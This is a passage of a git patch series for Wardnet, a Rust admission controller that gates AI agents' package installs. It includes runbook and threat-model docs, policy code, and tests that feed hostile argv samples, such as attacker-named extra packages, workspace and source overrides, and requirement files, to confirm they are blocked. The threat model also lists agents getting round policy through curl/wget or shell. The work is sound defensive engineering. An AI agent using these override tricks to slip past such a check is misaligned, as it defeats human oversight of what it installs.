bytes against the reviewed digest; the admission controller itself validates the requested digest against policy but does not retrieve or hash package bytes. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The execution broker/quarantine path must preserve the admitted artifact identity and verify retrieved bytes before installation or execution; Wardnet must not claim that an allow receipt alone proves downloaded-byte integrity. The controller also does not sandbox an allowed installer; the execution broker remains responsible for process isolation, filesystem/network capability limits, least privilege and post-install verification. Rejecting explicit source/root/environment overrides narrows the command capability but does not substitute for that runtime isolation boundary. ## Primary references @@ -64,4 +65,4 @@ SHA-256 equality proves byte identity, not publisher trust. Registry and owner s - The Update Framework. (2026). *Specification, version 1.0.33.* https://theupdateframework.io/spec/ - Sigstore. (2026). *Sigstore documentation: Overview and security model.* https://docs.sigstore.dev/ ; https://docs.sigstore.dev/about/security/ -NIST SP 800-218 Rev. 1 / SSDF 1.2 is still a draft as of this document's 2026-09-01 verification and is tracked as informative rather than binding: https://csrc.nist.gov/Projects/ssdf/publications +NIST SP 800-218 Rev. 1 / SSDF 1.2 is still a draft as of this document's 2026-09-02 verification and is tracked as informative rather than binding: https://csrc.nist.gov/Projects/ssdf/publications From 79e8da09ef571f05a2eb7ac71aa80ed61c3b81b0 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 15:22:14 +0900 Subject: [PATCH 064/247] docs(runbook): require post-admission artifact byte verification --- docs/runbooks/agent-artifact-admission.md | 18 ++++++++++++++++-- 1 file changed, 16 insertions(+), 2 deletions(-) diff --git a/docs/runbooks/agent-artifact-admission.md b/docs/runbooks/agent-artifact-admission.md index 64088023..c3f44a65 100644 --- a/docs/runbooks/agent-artifact-admission.md +++ b/docs/runbooks/agent-artifact-admission.md @@ -54,6 +54,20 @@ Malformed structural input returns `400` after the minimized rejection fact has An allow response is valid only after its audit record has been appended. If audit append, audit-record construction or the blocking audit task fails, Wardnet returns `503` with a block decision and the stable `audit_unavailable` reason. Operators must treat any `503` as fail-closed; never retry by bypassing Wardnet. +### Execution-broker handoff + +An `allow` receipt authorizes only the exact reviewed install intent. It is not proof that bytes later returned by a registry are identical to the policy digest because this service does not download or hash packages. + +Before installation or execution, the downstream broker/quarantine path must: + +1. retain the exact admitted request/policy revision and refuse command or artifact substitution after admission; +2. retrieve only from the admitted package source, without alternate registry/index/Git/path overrides; +3. independently verify the retrieved artifact bytes against the admitted SHA-256 or consume equivalent verified provenance that binds the same bytes; +4. execute only after byte identity and runtime isolation controls are both satisfied; +5. treat any mismatch, missing verification evidence, or changed request as a new blocked/reauthorization condition rather than reusing the old allow receipt. + +Wardnet does not implement that hostile execution path. The quarantine runtime remains the reusable isolation owner; an execution broker that cannot prove byte identity must fail closed rather than treating the caller-supplied digest as verification evidence. + ## Policy rollout Treat the reviewed policy as immutable deployment configuration in v0.1. @@ -129,10 +143,10 @@ Before promoting a Wardnet build containing this context, require on the unchang - repository fuzz/property invariants where configured; - SAST/security/SBOM/provenance gates required by live GitHub policy; - zero valid unresolved review findings; -- the independent approval required by the live ruleset. +- the review/governance conditions required by the live ruleset. Queued, pending, skipped-required, cancelled, absent, stale or predecessor-head evidence is not release evidence. ## Ownership and escalation -Agent Artifact Admission owns the install-intent policy and minimized admission receipt. Execution brokers own process sandboxing and the actual install/execute step. Sigstore, TUF and SLSA remain external evidence authorities. Central CWL `.github` owns organization-wide workflow/review controls. A failure in one of those owners must be repaired at that owner boundary rather than duplicated inside this crate. +Agent Artifact Admission owns the install-intent policy and minimized admission receipt. Execution brokers own the actual install/execute step and must preserve the admitted identity; quarantine owns reusable hostile-workload isolation. The execution path must verify retrieved artifact bytes against the admitted digest (or equivalent verified provenance) before execution. Sigstore, TUF and SLSA remain external evidence authorities. Central CWL `.github` owns organization-wide workflow/review controls. A failure in one of those owners must be repaired at that owner boundary rather than duplicated inside this crate. From 148f69147408752dbd2c3896a41d8d33d3ed3672 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 18:07:20 +0900 Subject: [PATCH 065/247] test(admission): reject npm workspace scope expansion --- .../tests/install_root_contract.rs | 23 +++++++++++++++++++ 1 file changed, 23 insertions(+) diff --git a/crates/agent-artifact-admission/tests/install_root_contract.rs b/crates/agent-artifact-admission/tests/install_root_contract.rs index 9f8b6124..c46549d9 100644 --- a/crates/agent-artifact-admission/tests/install_root_contract.rs +++ b/crates/agent-artifact-admission/tests/install_root_contract.rs @@ -194,6 +194,29 @@ fn npm_location_global_spellings_are_blocked() { } } +#[test] +fn npm_workspace_selection_cannot_expand_the_broker_selected_install_scope() { + for workspace_arguments in [ + vec!["--workspace", "packages/unreviewed"], + vec!["--workspace=packages/unreviewed"], + vec!["--workspaces"], + vec!["--workspaces=true"], + ] { + let mut arguments = vec!["install", "@cwl/example@1.2.3", "--ignore-scripts"]; + arguments.extend(workspace_arguments); + let (policy, intent, label) = install_case( + "npm", + "npm", + "@cwl/example", + "@cwl/example@1.2.3", + "https://registry.npmjs.org", + &arguments, + ); + + assert_alternate_root_blocked(&policy, &intent, &label); + } +} + #[test] fn container_pull_is_not_misclassified_as_an_install_root_escape() { let digest = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; From 2dd93c0f6222625e58f9787a87e2efd1f2f73ade Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 18:08:32 +0900 Subject: [PATCH 066/247] fix(admission): reject npm workspace scope overrides --- crates/agent-artifact-admission/src/policy.rs | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 4412dfb4..d7bb5fad 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -395,7 +395,17 @@ fn requests_alternate_install_root(executable: &str, arguments: &[String]) -> bo }; match executable { - "npm" | "pnpm" | "yarn" | "bun" => { + "npm" => { + contains_flag(&["-g", "--global", "--prefix", "--workspace"]) + || arguments + .iter() + .any(|argument| matches!(argument.as_str(), "--workspaces" | "--workspaces=true")) + || arguments.iter().any(|argument| argument == "--location=global") + || arguments.windows(2).any(|pair| { + pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global") + }) + } + "pnpm" | "yarn" | "bun" => { contains_flag(&["-g", "--global", "--prefix"]) || arguments.iter().any(|argument| argument == "--location=global") || arguments.windows(2).any(|pair| { From 7c01c2d853f0c8a383bf72b582bc4d3b0db22213 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 18:09:54 +0900 Subject: [PATCH 067/247] docs(admission): trace npm workspace scope control --- docs/doctoring/agent-artifact-admission.md | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/docs/doctoring/agent-artifact-admission.md b/docs/doctoring/agent-artifact-admission.md index cb4ddaef..9b233533 100644 --- a/docs/doctoring/agent-artifact-admission.md +++ b/docs/doctoring/agent-artifact-admission.md @@ -16,6 +16,7 @@ Verified 2026-09-02. This note records the primary sources that justify the admi | Reject alternate pip package sources and install roots | pip 26.2.1 documents `-i`/`--index-url` and `-f`/`--find-links` as package-source controls and `-t`/`--target`, `--root`, and `--prefix` as installation-location controls | `requests_alternate_trust_root`, `requests_alternate_install_root`, and attached-short-option hostile regressions | | Reject uv index and environment overrides | uv documents `--index`/`--default-index` as command-line package-index selectors, `--python` as an arbitrary target-environment selector, and `--system` as permission to mutate system Python | `requests_alternate_trust_root`, `requests_alternate_install_root`, `uv_index_selection_cannot_override_the_approved_registry`, and `uv_environment_selection_cannot_escape_the_broker_selected_install_root` | | Reject Cargo source, install-root and inline configuration overrides | Cargo documents `--git`, `--path`, `--registry`, and `--index` as package-source selectors, `--root`/`install.root` as installation-root authorities, and `--config KEY=VALUE or PATH` as a command-line configuration override | `requests_alternate_trust_root`, `requests_alternate_install_root`, `cargo_source_selection_cannot_override_the_approved_registry`, and `cargo_inline_configuration_cannot_override_install_root` | +| Reject npm workspace scope overrides | npm documents `--workspace` as selecting named or path-addressed workspaces and `--workspaces` as running the command in all configured workspaces; install commands respect those selectors | `requests_alternate_install_root`; `npm_workspace_selection_cannot_expand_the_broker_selected_install_scope` | | Require an unambiguous install-script suppression flag | npm documents `ignore-scripts` as a Boolean whose safe state is `true`; npm CLI Boolean options can be explicitly set back to false, so a contradictory argv must not satisfy admission merely because a safe token also appears | `has_unambiguous_boolean_safety_flag`; hostile `--ignore-scripts=false` and `--no-ignore-scripts` regressions | | Loopback-only v0.1 | minimizes exposed trust boundary until authenticated transport is owned by a separate deployment layer | `validate_service_config` and service bind validation | @@ -51,9 +52,11 @@ uv's package-index documentation states that command-line indexes take precedenc Cargo's `cargo install` documentation states that crates.io is the default package source while `--git`, `--path`, and `--registry` change that source; it separately exposes `--index` as a registry-index URL. The same command defines install-root precedence through `--root`, `CARGO_INSTALL_ROOT`, `install.root`, `CARGO_HOME`, then the default Cargo home, and Cargo's common options define `--config KEY=VALUE or PATH` as a command-line configuration override. Wardnet therefore rejects submitted source selectors (`--git`, `--path`, `--registry`, `--index`), `--root`, and `--config`: the reviewed artifact coordinate and destination remain the admission authority instead of being silently replaced by command arguments. The executor or quarantine runtime may establish controlled Cargo configuration outside this submitted argv boundary. -### npm command safety +### npm workspace and command safety -npm documents `ignore-scripts` as a Boolean configuration with default `false`; when true, lifecycle scripts from package manifests are not executed. Wardnet's admission contract therefore requires the explicit safe token and rejects contradictory Boolean spellings in the same argv rather than attempting to reproduce npm's full precedence parser. This is deliberately fail-closed: the controller proves that the submitted command cannot negate the required safety flag before execution, while the executor and quarantine runtime remain responsible for environment and filesystem isolation. +npm's current workspace documentation defines workspaces as nested packages in the local filesystem and shows that install commands respect workspace selection. The `workspace` option can name a workspace, point at a workspace directory, or point at a parent directory that selects nested workspaces; `workspaces` enables the command across all configured workspaces. Those selectors change the submitted command's filesystem/package scope relative to the broker-selected workspace intent, so Wardnet rejects `--workspace`, `--workspace=...`, `--workspaces`, and the enabled `--workspaces=true` spelling instead of allowing an approved artifact to authorize writes across a caller-selected workspace set. + +npm also documents `ignore-scripts` as a Boolean configuration with default `false`; when true, lifecycle scripts from package manifests are not executed. Wardnet's admission contract therefore requires the explicit safe token and rejects contradictory Boolean spellings in the same argv rather than attempting to reproduce npm's full precedence parser. This is deliberately fail-closed: the controller proves that the submitted command cannot negate the required safety flag before execution, while the executor and quarantine runtime remain responsible for environment and filesystem isolation. ## APA 7 references @@ -69,6 +72,10 @@ National Institute of Standards and Technology. (2026). *Secure Software Develop npm, Inc. (2026). *Config: ignore-scripts.* https://docs.npmjs.com/using-npm/config/ +npm, Inc. (2026). *Workspaces.* https://docs.npmjs.com/misc/workspaces/ + +npm, Inc. (2026). *npm install.* https://docs.npmjs.com/cli/v10/commands/npm-install/ + pip developers. (2026). *pip install: pip documentation v26.2.1.* https://pip.pypa.io/en/stable/cli/pip_install/ Rust Project Developers. (2026). *cargo install: The Cargo Book.* https://doc.rust-lang.org/stable/cargo/commands/cargo-install.html From 52a77b9b0d85edb790363b7e56a7aa13e5cdb5e0 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 18:10:39 +0900 Subject: [PATCH 068/247] docs(admission): model npm workspace scope escape --- docs/security/agent-artifact-admission-threat-model.md | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/docs/security/agent-artifact-admission-threat-model.md b/docs/security/agent-artifact-admission-threat-model.md index a31ccf89..cc507855 100644 --- a/docs/security/agent-artifact-admission-threat-model.md +++ b/docs/security/agent-artifact-admission-threat-model.md @@ -28,6 +28,7 @@ The credential file, policy/configuration file and audit file are local deployme | Package-source override | An otherwise approved package coordinate is combined with a command-line alternate index, registry, Git URL or local path so the package manager resolves from an unreviewed source | Reject package-manager trust-root/source selectors such as pip/uv alternate indexes and Cargo registry/index/Git/path overrides before returning `allow` | `decision=block`, reason `alternate_trust_root` | | Direct download-and-execute | Agent bypasses package policy using curl/wget/shell/runtime evaluation | Structured `argv`; shells, direct downloaders, package executors and runtime inline evaluation remain blocked by invariant | `decision=block` | | Alternate install-root escape | An otherwise approved package-manager command adds global, user, prefix, target, root, system or arbitrary-environment flags so writes escape the broker-selected workspace boundary | Reject explicit package-manager install-root/environment overrides before returning `allow`; runtime filesystem isolation remains the execution broker/quarantine responsibility | `decision=block`, reason `alternate_install_root` | +| Workspace-scope expansion | An approved npm install adds `--workspace` or enabled `--workspaces` selection so the command operates in a caller-selected nested or multi-workspace scope instead of the broker-selected workspace | Reject submitted npm workspace selectors as destination/scope authority changes before returning `allow` | `decision=block`, reason `alternate_install_root` | | Malformed or missing provenance | Remote instruction source lacks HTTPS or content digest | Strict source-kind validation and SHA-256 requirement | `400` with audited block receipt | | Authentication bypass | Caller omits, duplicates or manipulates the admin token | One bounded visible-ASCII token from the credentials file; constant-time comparison; no environment-variable secret path | `401` | | Oversized request | Memory/CPU pressure or parser bypass using excessive body size | Axum body limit plus bounded configuration | `413`, and the rejection must be audited before response | @@ -41,7 +42,7 @@ The credential file, policy/configuration file and audit file are local deployme A document can legitimately mention `npm install`, a package name, a CVE, or a URL. Those strings are not executable instructions at this boundary. An agent must first construct a structured intent, and the intent must independently satisfy policy. A package with valid Sigstore/SLSA evidence is still not locally authorized unless the reviewed policy allows its exact coordinates. Conversely, an approved coordinate without the required digest or provenance remains blocked. -The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root, or reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, or local path. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. +The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, reinterpret an approved workspace install as permission to write into a global/user/alternate install root or a caller-selected npm workspace set, or reinterpret an approved registry coordinate as permission to fetch from an alternate index, registry, Git repository, or local path. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. ## Operational security invariants @@ -51,16 +52,18 @@ The controller must not repair typos, prepend package scopes, infer maintainers, - Audit records are append-only from this process's point of view. Corruption, write failure or task failure cannot be converted into an allow response. - Policy is immutable for the lifetime of the v0.1 process. Runtime mutation requires a future explicit policy-lifecycle aggregate and authorization contract; it must not be smuggled into the current HTTP adapter. - Domain modules remain independent of Axum, Tokio, filesystem paths, provider SDKs and concrete storage adapters. `ddd_architecture_contract.rs` is the executable fitness gate. -- Package-manager source and destination overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects explicit alternate trust roots/sources and alternate install roots/environments, while the downstream execution broker/quarantine runtime still owns actual artifact retrieval verification, filesystem, mount and process isolation. +- Package-manager source, destination, environment and workspace-scope overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects explicit alternate trust roots/sources and alternate install roots/environments/workspace scopes, while the downstream execution broker/quarantine runtime still owns actual artifact retrieval verification, filesystem, mount and process isolation. ## Residual risk and future adapters -SHA-256 equality proves byte identity only when the execution path independently verifies the retrieved bytes against the reviewed digest; the admission controller itself validates the requested digest against policy but does not retrieve or hash package bytes. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The execution broker/quarantine path must preserve the admitted artifact identity and verify retrieved bytes before installation or execution; Wardnet must not claim that an allow receipt alone proves downloaded-byte integrity. The controller also does not sandbox an allowed installer; the execution broker remains responsible for process isolation, filesystem/network capability limits, least privilege and post-install verification. Rejecting explicit source/root/environment overrides narrows the command capability but does not substitute for that runtime isolation boundary. +SHA-256 equality proves byte identity only when the execution path independently verifies the retrieved bytes against the reviewed digest; the admission controller itself validates the requested digest against policy but does not retrieve or hash package bytes. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The execution broker/quarantine path must preserve the admitted artifact identity and verify retrieved bytes before installation or execution; Wardnet must not claim that an allow receipt alone proves downloaded-byte integrity. The controller also does not sandbox an allowed installer; the execution broker remains responsible for process isolation, filesystem/network capability limits, least privilege and post-install verification. Rejecting explicit source/root/environment/workspace overrides narrows the command capability but does not substitute for that runtime isolation boundary. ## Primary references - National Institute of Standards and Technology. (2022). *Secure Software Development Framework (SSDF) Version 1.1: Recommendations for Mitigating the Risk of Software Vulnerabilities (NIST SP 800-218).* https://doi.org/10.6028/NIST.SP.800-218 - Booth, H., Souppaya, M., Vassilev, A., Ogata, M., Stanley, M., & Scarfone, K. (2024). *Secure Software Development Practices for Generative AI and Dual-Use Foundation Models: An SSDF Community Profile (NIST SP 800-218A).* National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-218A +- npm, Inc. (2026). *Workspaces.* https://docs.npmjs.com/misc/workspaces/ +- npm, Inc. (2026). *npm install.* https://docs.npmjs.com/cli/v10/commands/npm-install/ - SLSA Community. (2025). *SLSA specification, version 1.2.* https://slsa.dev/spec/v1.2/ - The Update Framework. (2026). *Specification, version 1.0.33.* https://theupdateframework.io/spec/ - Sigstore. (2026). *Sigstore documentation: Overview and security model.* https://docs.sigstore.dev/ ; https://docs.sigstore.dev/about/security/ From bba4a1872233576f769556e754b4bf5041185755 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 18:11:04 +0900 Subject: [PATCH 069/247] docs(changelog): record npm workspace admission hardening --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index b625c964..55982aca 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,7 +5,7 @@ ### Security - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. -- Hardened package-manager command admission so approved artifacts cannot be widened through alternate package sources or destinations: pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm-family global/prefix/location controls, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. +- Hardened package-manager command admission so approved artifacts cannot be widened through alternate package sources or destinations: pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm-family global/prefix/location/workspace-scope controls, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. From f3c05de6532a9ca10106c500385065035ffbc05c Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 18:12:49 +0900 Subject: [PATCH 070/247] test(admission): cover npm workspace short alias --- crates/agent-artifact-admission/tests/install_root_contract.rs | 2 ++ 1 file changed, 2 insertions(+) diff --git a/crates/agent-artifact-admission/tests/install_root_contract.rs b/crates/agent-artifact-admission/tests/install_root_contract.rs index c46549d9..8dcb7044 100644 --- a/crates/agent-artifact-admission/tests/install_root_contract.rs +++ b/crates/agent-artifact-admission/tests/install_root_contract.rs @@ -199,6 +199,8 @@ fn npm_workspace_selection_cannot_expand_the_broker_selected_install_scope() { for workspace_arguments in [ vec!["--workspace", "packages/unreviewed"], vec!["--workspace=packages/unreviewed"], + vec!["-w", "packages/unreviewed"], + vec!["-w=packages/unreviewed"], vec!["--workspaces"], vec!["--workspaces=true"], ] { From 1ea226df6ed871c64a0a749c7a4e4f5a6363e599 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 18:14:47 +0900 Subject: [PATCH 071/247] fix(admission): reject npm -w workspace selector --- crates/agent-artifact-admission/src/policy.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index d7bb5fad..af8238bf 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -396,7 +396,7 @@ fn requests_alternate_install_root(executable: &str, arguments: &[String]) -> bo match executable { "npm" => { - contains_flag(&["-g", "--global", "--prefix", "--workspace"]) + contains_flag(&["-g", "--global", "--prefix", "--workspace", "-w"]) || arguments .iter() .any(|argument| matches!(argument.as_str(), "--workspaces" | "--workspaces=true")) From 2ea739170538481018a95c285884c408b927c412 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 22:14:02 +0900 Subject: [PATCH 072/247] test(admission): reject undeclared install operands --- .../tests/install_root_contract.rs | 153 ++++++++++++++++++ 1 file changed, 153 insertions(+) diff --git a/crates/agent-artifact-admission/tests/install_root_contract.rs b/crates/agent-artifact-admission/tests/install_root_contract.rs index 8dcb7044..9fd82ebd 100644 --- a/crates/agent-artifact-admission/tests/install_root_contract.rs +++ b/crates/agent-artifact-admission/tests/install_root_contract.rs @@ -219,6 +219,159 @@ fn npm_workspace_selection_cannot_expand_the_broker_selected_install_scope() { } } +#[test] +fn undeclared_artifact_operands_cannot_hitchhike_on_approved_installs() { + let extra_digest = "dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd"; + let cases = [ + install_case( + "npm", + "npm", + "@cwl/example", + "@cwl/example@1.2.3", + "https://registry.npmjs.org", + &[ + "install", + "@cwl/example@1.2.3", + "--ignore-scripts", + "@attacker/extra@9.9.9", + ], + ), + install_case( + "pnpm", + "npm", + "@cwl/example", + "@cwl/example@1.2.3", + "https://registry.npmjs.org", + &[ + "add", + "@cwl/example@1.2.3", + "--ignore-scripts", + "@attacker/extra@9.9.9", + ], + ), + install_case( + "yarn", + "npm", + "@cwl/example", + "@cwl/example@1.2.3", + "https://registry.npmjs.org", + &[ + "add", + "@cwl/example@1.2.3", + "--ignore-scripts", + "@attacker/extra@9.9.9", + ], + ), + install_case( + "bun", + "npm", + "@cwl/example", + "@cwl/example@1.2.3", + "https://registry.npmjs.org", + &[ + "add", + "@cwl/example@1.2.3", + "--ignore-scripts", + "@attacker/extra@9.9.9", + ], + ), + install_case( + "pip", + "pypi", + "cwl-example", + "cwl-example==1.2.3", + "https://pypi.org/simple", + &[ + "install", + "cwl-example==1.2.3", + "--require-hashes", + "attacker-extra==9.9.9", + ], + ), + install_case( + "pip3", + "pypi", + "cwl-example", + "cwl-example==1.2.3", + "https://pypi.org/simple", + &[ + "install", + "cwl-example==1.2.3", + "--require-hashes", + "attacker-extra==9.9.9", + ], + ), + install_case( + "uv", + "pypi", + "cwl-example", + "cwl-example==1.2.3", + "https://pypi.org/simple", + &[ + "pip", + "install", + "cwl-example==1.2.3", + "--require-hashes", + "attacker-extra==9.9.9", + ], + ), + install_case( + "cargo", + "cargo", + "cwl-example", + "cwl-example@1.2.3", + "https://crates.io", + &[ + "install", + "cwl-example@1.2.3", + "--locked", + "attacker-extra@9.9.9", + ], + ), + install_case( + "docker", + "oci", + "ghcr.io/contextualwisdomlab/example", + "ghcr.io/contextualwisdomlab/example@sha256:cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc", + "https://ghcr.io", + &[ + "pull", + "ghcr.io/contextualwisdomlab/example@sha256:cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc", + "ghcr.io/attacker/extra@sha256:dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd", + ], + ), + install_case( + "podman", + "oci", + "ghcr.io/contextualwisdomlab/example", + "ghcr.io/contextualwisdomlab/example@sha256:cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc", + "https://ghcr.io", + &[ + "pull", + "ghcr.io/contextualwisdomlab/example@sha256:cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc", + "ghcr.io/attacker/extra@sha256:dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd", + ], + ), + ]; + + assert_eq!(extra_digest.len(), 64); + for (policy, intent, label) in cases { + let decision = admission_decision(&policy, &intent); + assert_eq!( + decision.decision, + DecisionKind::Block, + "{label} must not execute an undeclared positional artifact" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "{label} must produce the stable artifact_not_approved reason" + ); + } +} + #[test] fn container_pull_is_not_misclassified_as_an_install_root_escape() { let digest = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; From 0d8b7e21d91c609ecbdf398c294090a3cd0e9e1d Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 22:16:08 +0900 Subject: [PATCH 073/247] fix(admission): bind argv operands to reviewed artifacts --- crates/agent-artifact-admission/src/policy.rs | 41 +++++++++++++++++++ 1 file changed, 41 insertions(+) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index af8238bf..10ddf993 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -38,6 +38,7 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A validate_source(intent, &mut reason_codes); validate_command_path(intent, &mut reason_codes); validate_safety_flags(intent, &mut reason_codes); + validate_artifact_operands(intent, &mut reason_codes); if !policy.approved_manifests.iter().any(|manifest| { manifest.workspace_id == intent.workspace_id && manifest.sha256 == intent.manifest_sha256 @@ -228,6 +229,46 @@ fn validate_safety_flags(intent: &InstallIntent, reason_codes: &mut Vec) { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return; + }; + let arguments = &intent.argv[1..]; + let command_prefix_len = match executable { + "uv" + if arguments.first().is_some_and(|argument| argument == "pip") + && arguments + .get(1) + .is_some_and(|argument| argument == "install") => + { + 2 + } + "npm" | "pnpm" | "yarn" | "bun" | "pip" | "pip3" | "cargo" | "docker" + | "podman" => 1, + _ => return, + }; + + let declared_arguments: BTreeSet<&str> = intent + .artifacts + .iter() + .map(|artifact| artifact.artifact_argument.as_str()) + .collect(); + let positional_arguments: Vec<&str> = arguments + .iter() + .skip(command_prefix_len) + .filter(|argument| !argument.starts_with('-')) + .map(String::as_str) + .collect(); + + if positional_arguments.len() != declared_arguments.len() + || positional_arguments + .iter() + .any(|argument| !declared_arguments.contains(argument)) + { + push_reason(reason_codes, ReasonCode::ArtifactNotApproved); + } +} + fn has_unambiguous_boolean_safety_flag(arguments: &[String], flag: &str) -> bool { let Some(flag_name) = flag.strip_prefix("--") else { return false; From d64976df8630c43ffdb48e337faacff6c151b6d4 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 22:17:41 +0900 Subject: [PATCH 074/247] test(admission): keep hitchhike regression focused --- crates/agent-artifact-admission/tests/install_root_contract.rs | 2 -- 1 file changed, 2 deletions(-) diff --git a/crates/agent-artifact-admission/tests/install_root_contract.rs b/crates/agent-artifact-admission/tests/install_root_contract.rs index 9fd82ebd..af57d836 100644 --- a/crates/agent-artifact-admission/tests/install_root_contract.rs +++ b/crates/agent-artifact-admission/tests/install_root_contract.rs @@ -221,7 +221,6 @@ fn npm_workspace_selection_cannot_expand_the_broker_selected_install_scope() { #[test] fn undeclared_artifact_operands_cannot_hitchhike_on_approved_installs() { - let extra_digest = "dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd"; let cases = [ install_case( "npm", @@ -354,7 +353,6 @@ fn undeclared_artifact_operands_cannot_hitchhike_on_approved_installs() { ), ]; - assert_eq!(extra_digest.len(), 64); for (policy, intent, label) in cases { let decision = admission_decision(&policy, &intent); assert_eq!( From 51d91d53502317614c82ca6a5bda67da998cff84 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 22:20:36 +0900 Subject: [PATCH 075/247] test(admission): reject indirect package sources --- .../indirect_artifact_source_contract.rs | 151 ++++++++++++++++++ 1 file changed, 151 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/indirect_artifact_source_contract.rs diff --git a/crates/agent-artifact-admission/tests/indirect_artifact_source_contract.rs b/crates/agent-artifact-admission/tests/indirect_artifact_source_contract.rs new file mode 100644 index 00000000..013367e5 --- /dev/null +++ b/crates/agent-artifact-admission/tests/indirect_artifact_source_contract.rs @@ -0,0 +1,151 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn pip_family_cannot_source_undeclared_artifacts_from_files_or_editable_paths() { + let cases: &[(&str, &[&str])] = &[ + ( + "pip", + &["install", "cwl-example==1.2.3", "--require-hashes", "-r", "requirements.txt"], + ), + ( + "pip3", + &[ + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--requirement=requirements.txt", + ], + ), + ( + "pip", + &["install", "cwl-example==1.2.3", "--require-hashes", "-e", "./unreviewed"], + ), + ( + "pip3", + &[ + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--editable=./unreviewed", + ], + ), + ( + "pip", + &[ + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--requirements-from-script=unreviewed.py", + ], + ), + ]; + + for (executable, arguments) in cases { + assert_indirect_source_blocked(executable, arguments); + } +} + +#[test] +fn uv_pip_cannot_source_undeclared_artifacts_from_files_groups_or_editable_paths() { + let cases: &[&[&str]] = &[ + &["pip", "install", "cwl-example==1.2.3", "--require-hashes", "-r", "requirements.txt"], + &[ + "pip", + "install", + "cwl-example==1.2.3", + 